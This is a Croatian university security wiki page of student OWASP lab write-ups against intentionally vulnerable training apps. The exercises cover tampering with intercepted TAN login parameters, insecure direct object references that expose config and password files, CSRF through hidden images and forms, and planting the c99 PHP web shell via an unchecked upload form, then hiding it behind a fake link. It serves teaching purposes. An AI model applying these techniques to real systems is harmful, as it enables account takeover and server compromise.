Kada ponovno učitamo lekciju, dobivamo porku da je lekcija uspješno završena i da smo uspjeli prevariti server i spojiti se kao basic:basic.

Ss313.GIF

--Franjo.spejic 17:27, 5. siječnja 2012. (CET)

Lekcija 4- Više razina prijave - 1 dio

Više razina prijave nam omogućavaju jaču zaštitu, a funkcionira tako da nakon što se prijavimo u sustav, prijavu moramo potvrditi sa nekim brojem koji nam daje poduzeće na čiju se stranicu prijavljujemo. Paralelu možemo povući sa bankama i internet bankarstvo, gdje nakon što se prijavimo ili prilikom prijave, pomoću tokena ili na neki drugi način dobivamo TAN(Transaction Authentication Number) broj koji nam generira banka, kako bi potvrdili da smo to mi. Ipak ova lekcija nam pokazuje da je i takvu zaštitu, unatoč što je dosta jaka, moguće probiti. Zadatak ima 2 koraka koja treba prijeći da bi se lekcija uspješno završila. Prvi korak je klasični login gdje se potrebno logirati kao Jane sa passwordom tarzan.

Ss41.GIF

Nakon što smo se logirali, potrebno je upisati TAN kako bi potvrdili da smo to mi.

Ss42.GIF

Nakon što smo to sve obavili uspješno smo se logirali i dobili podatke koje smo trebali. Sada pretpostavljamo da smo prilikom logina bili pod napadom hakera koji je uspio ukrasti naš username i password i TAN. Sada se stavljamo u poziciju hakera i pokušavamo se spojiti kao Jane kako bi uzeli njezin broj kreditne kartice.

Ss43.GIF

Nako što smo se logirali sa podacima od Jane, sustav nas traži TAN broj, a mi imamo samo TAN sa kojim se Jane prvi put spojila, te ako upišemo taj TAN, nećemo se uspjeti prijaviti. Zbog toga ponovno uključjemo WebScarab i omogućavamo intecept paketa. Kada nas sustav traži da unesemo TAN broj, upišemo neki random broj i klikemom submit.

Ss44.GIF

WebScarab će taj paket presresti i omogućiti manipulaciju sa njime. Na slici vidimo komandu „hidden_tan=2&tan=44676&Submit=Submit“.

Ss46 1.gif

Kako nam WebScarab omogućuje manipulaciju tim podacima, hidden_tan postavimo da je jedan i vrijednost TAN-a postavimo kao 15648 što je vrijednost TAN-a koju je unijela Jane kad smo joj ukrali podatke. To vidimo na slici ispod.

Ss46 2.GIF

Nakon toga kliknemo na Accept changes, te takav paket pošaljemo serveru koji nas pušta u sustav kao Jane i tako smo uspjeli doći do broja kreditne kartice od Jane.

Ss47.GIF

Ovdje je vidljivo da mehanizam nije dobro implementiran jer je uvelike vezan za korisničko ime i ukradenim korisničkim imenom smo praktički dobili sve, te se uz malo više truda da hakirati korisnički račun. Zagrebačka banka je to rješila na način, koji smatram da je bolji, da je username broje tokena, a password je TAN broj koji se dobije pomoću tokena. U ovom slučaju password je svaki put drugačiji i ne ponavlja se što napadaču uvelike otežava posao.
--Franjo.spejic 17:36, 5. siječnja 2012. (CET)


Lekcija 4- Više razina prijave - 2 dio

Ova vježba je slična kao i prva vježba. Ovdje smo mi napadač koji ima račun u banci, te se pokušavamo spojiti na račun od Jane koja isto ima račun u banci u kojoj smo mi. Prvo što napravimo je login sa svojim korisničkim imenom i passwordom.

Ss51.GIF

Nakon logina potrebno je unoseti TAN broj.

Ss52.GIF

Nakon unešenog ispravnog TAN broja, prijava je uspjela, te možemo vidjeti svoje podatke.

Ss53.GIF

Sada se pomoću tih podataka moramo spojiti kao korisnik Jane. Prvo se spojimo na svoj account, kada se spojimo, sustav nas traži TAN broj i to TAN broj 2, jer je prvi iskorišten. Sada uključujemo WebScarab kako bi presreli pakete, te kliknemo na submit.

Ss54.GIF

TAN broj može biti naš pravi TAN#2, ali može biti i neki radnom broj. U ovom slučaju uneđen je random broj. Klikom na submit, presrećemo paket i možemo sa njim manupulirati. Kao i u prethodnom slučaju, manipuliramo naredbom „hidden_user=Joe&tan2=6756&Submit=Submit“, što se vidi na slici.

Ss55 1.gif

Hidden_user promjenim na Jane, a tan2 promjenim na 4894, koji je tan od Joe-a, kliknemo na Accept changes, nam se pokazuju podaci od Jane, te smo tako uspjeli hakirati njezin račun.

Ss56 1.gif
Ss57.GIF

--Franjo.spejic 18:51, 5. siječnja 2012. (CET)


Insecure direct object references (A4)

Ranjivost koja se javlja kada neki dio referenciranja ostane izložen odnosno javno dostupan, te se preko njega onda može pristupiti neki internim objektima kojima možda u osnovi ne bi trebao biti dopušten pristup. Ovu ranjivost također je moguće demonstrirati korištenjem OWASP mantra-e, mutillidae i xampp-a. Tako unutar mutillidae postoji dio koji služi za demonstriranje ove slabosti i to je stranica koja prikazuje kod web stranica ponuđenih unutar padajućeg izbornika.

Idor source viewer.JPG


Korištenjem mantra-e, odnosno preciznije Live HTTP headers ekstenzije prilikom pregledavanja izvornog koda moguće je vidjeti detalje samih zaglavlja koja se razmjenjuju između poslužitelja i korisnika. Na slici možemo vidjeti zaglavlje sa zahtjevom koji odlazi od korisnika prema poslužitelju.

Idor live http headers.JPG


Analizom zaglavlja moguće je uočiti informacije koje se prenose, te je moguće uočiti da se u zaglavljima prenosi i naziv dokumenta koji se prikazuje unutar preglednika. Pošto se unutar zaglavlja prenosi i naziv korištenjem Live HTTP headers moguće je modificirati zahtjeve te ih tako modificirane ponovo slati poslužitelju.

Idor live http replay.JPG


Tako je moguće dobiti na uvid stranice koje se nisu nalazile u padajućem izborniku, uključujući i konfiguracijske datoteke koje se nalaze na poslužitelju, kao na primjer config.inc. Isto tako uz malo eksperimentiranja i kopanja moguće je uz kretanje po poslužitelju doći do datoteke koja sadrži osnovne lozinke, što se može vidjeti na sljedećoj slici.

Idor uhvacen pass.JPG
--Mladen.mestric 00:42, 6. siječnja 2012. (CET)


Cross Site Request Forgery (A5)

Ova ranjivost omogućava napadaču da pošalje zahtjev sa web preglednika žrtve. Pošto ne postoji način da poslužitelj zna koja osoba je točno poslala zahtjev (može samo znati sa kojeg preglednika je poslan) on podrazumijeva da je poslan od strane žrtve te tako napadač u svome lažnom zahtjevu može koristiti i cookie koji se zapravo nalazi kod žrtve. Za demonstriranje ove slabosti opet je korišten xampp, OWASP mantra, mutillidae i za još jedan pristup DVWA. Još jednu stvar koja se koristi je jednostavna php stranica koja će služiti za generiranje lažnih zahtjeva. Kod oba tipa napada pretpostavlja se da je žrtva prijavljena na stranice kojima se šalju lažni zahtjevi. U prvom pak pristupu još i pretpostavljamo da su podaci žrtve poznati, uključujući i samu lozinku, te samo demonstrira princip. Tako kod prvog pristupu žrtva samo treba posjetiti zaraženu stranicu (u ovom slučaju web mjesto PhpSandy, stranica indeks.php), na toj stranici se nalazi skrivena slika veličine jednog pixela koja kao svoj src parametar ima zahtjev koji želimo da žrtva pošalje, u ovom slučaju zahtjev za promjenom lozinke žrtve. Sam zahtjev je GET tipa tako da ga je lako ubaciti i formulirati prema potrebi. Na samoj stranici slika se ne vidi pa žrtva ne primjećuje da slika postoji i da se nije učitala.

Csrf evilmod site.JPG


Izvorni kod same stranice prilično je jednostavan, jedini dio koji je važan je sama slika skrivena na stranici.

Csrf evilmod site code.JPG


Nakon što je žrtva naletjela na stranicu neće biti nikakve indikacije da se nešto desilo, prva naznaka da je nešto pošlo po krivu je kada se žrtva ponovo pokuša prijaviti te shvati da lozinka ne odgovara.

Csrf loginfail.JPG


Kod drugog pristupa pretpostavlja se još jedna dodatna razina društvenog inženjeringa jer se temelji na tome da je žrtva dovoljno naivna da klikne gumb te tako zapravo pošalje zamaskirani POST zahtjev. Na samoj stranici nalazi se skriven formular koji se popunjen šalje poslužitelju i u ovom slučaju postavlja nov zapis na blog žrtve. Pošto se zahtjeva da žrtva sama klikne na element stranice u ovom slučaju na stranici se nalazi gumb koji bi trebao navesti žrtvu da ga klikne.

Csrf evilmod blog.JPG


Izvorni kod same stranice opet nije pretjerano kompliciran i važan dio koda je skriveni formular koji sadrži podatke koje napadač želi poslati kroz web preglednik žrtve.

Csrf evilmod blog code.JPG


Rezultat koji se postigne kada logirani korisnik klikne gumb na stranici se može vidjeti na sljedećoj slici.

Csrf ubaceno blog.JPG
--Mladen.mestric 00:42, 6. siječnja 2012. (CET)



Security Misconfiguration (A6)


Pogrešno ili nedovoljno dobro uređene opcije mogu biti opasne za sustav. Npr. kao što ćemo pokazati dovoljno je imati samo jednu formu za upload datoteka koja ne provjerava format i može se u potpunosti preuzeti kontrola nad cijelim računalom/serverom, a ne samo web aplikacijom. Problem kod upload-a je što napadač mora pronaći samo jednu ovakvu formu koja nije zaštićena, i ovisno o lokaciji gdje je file spremljen, treba pronaći i pokrenuti datoteku. Kako bi se izbjegle štetne posljedice za sustav, trebalo bi svaki upload provjeravati sa antivirusnim programima, provjeravati zaglavlja slika, dvostruke ekstenzije, napraviti provjeru unosa, blokirati zabranjene ekstenzije, te štititi folder u koji se spremaju uploadane datoteke.
Za početak, pokušali smo uploadati sliku kao što i piše (forma za upload je namijenjena uploadu slika).

Jpg je prosao.PNG


Budući da je JPG format prošao, zašto ne pokušati još neke formate? Tako smo uspjeli uploadati i sql format:

Baza.PNG


PNG format sa kodom u komentarima:

Kod u slici.PNG


datoteku sa dvostrukom ekstenzijom:

C100.PNG


i na kraju "evil" skriptu c99.php (ovdje sismis.php (sa drugačijim MD5 hash-om)):


Sismis.PNG


Ako je pokrenemo, vidimo da radi, i imamo na izboru mnogo mogućnosti kojima možemo ugroziti server, aplikaciju, podatke, i na kraju obrisati zloćudnu php skriptu kao da je nije ni bilo, zbog čega ne postoji trag da smo bili tamo.

C99.PNG

--Tmatijak 22:15, 6. siječnja 2012. (CET)

Failure to Restrict URL Access (A8)


Ovakve vrste napada se događaju kada napadač, koji je ovlašteni korisnik sustava, jednostavno promijeni URL i pokuša pristupiti na stranicu kojoj nema pristup. U ovom slučaju mi smo si omogućili pristup pomoću skripte c99.php kada smo iskoristili nedostatak u Upload dijelu DVWA aplikacije.
Jednom kada imamo uploadanu skriptu c99.php koju smo uspjeli postaviti na server u primjeru sa Upload-om, između ostalih mogućnosti, možemo stvarati nove datoteke i premještati ih, tako npr. možemo dodati novi php, u ovom slučaju "bieber.php" kojim imamo vlastitu novu stranicu na severu.

Upload bilo cega.PNG


Ovaj primjer se može iskoristiti na stranicama gdje je dozvoljeno stvarati vlastite profile, poglede, i ostale mogućnosti personalizacije. Tako smo "sakrili" link na fan page, koji izgleda kao pravi link "http://www.justinbieberofficial.co.uk/", ali nas vodi na skriptu bieber_fever.php koja je zapravo c99.php, i ukoliko nitko ne provjerava ovaj naizgled nevin i neupadljiv link, možda ostanemo neotkriveni. Također, ovo maskiranje linkova se može korisiti i u A10-Unvalidated Redirects and Forwards. Potrebno je u C:\Windows\System32\drivers\etc dodati još jednu liniju koda:

Bieber je kul.PNG



bieber.php i "skriveni" link u sredini:

Ubacen unutra.PNG


ako kliknemo na link u sredini, otvorit će se skripta c99.php:

JB homepage.PNG


jednom kada smo skriveni, možemo mijenjati imena datoteka, i pokušati se što bolje sakriti i prilagoditi sadržaju servera, kako bi ostali neupadljivi. Također. možemo pokretati razne naredbe, kao npr "netstat-an":

Slusanje.PNG



također, možemo pregledavati sadržaje svih diskova na serveru, i imamo ovlasti nad folderima i datotekama na tim diskovima:

Neki disk.PNG



ili ostale mogućnosti kojima možemo pokušati ugroziti server, sakriti se, obrisati podatke ili nešto drugo.

Mogucnosti.PNG


--Tmatijak 18:40, 6. siječnja 2012. (CET)

Literatura

Risks [3]

Dobavljeno iz "https://security.foi.hr/wiki/index.php/OWASP_Top_10:_Problemi_autentikacije,_kriptografije_i_referenci_koda"
Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima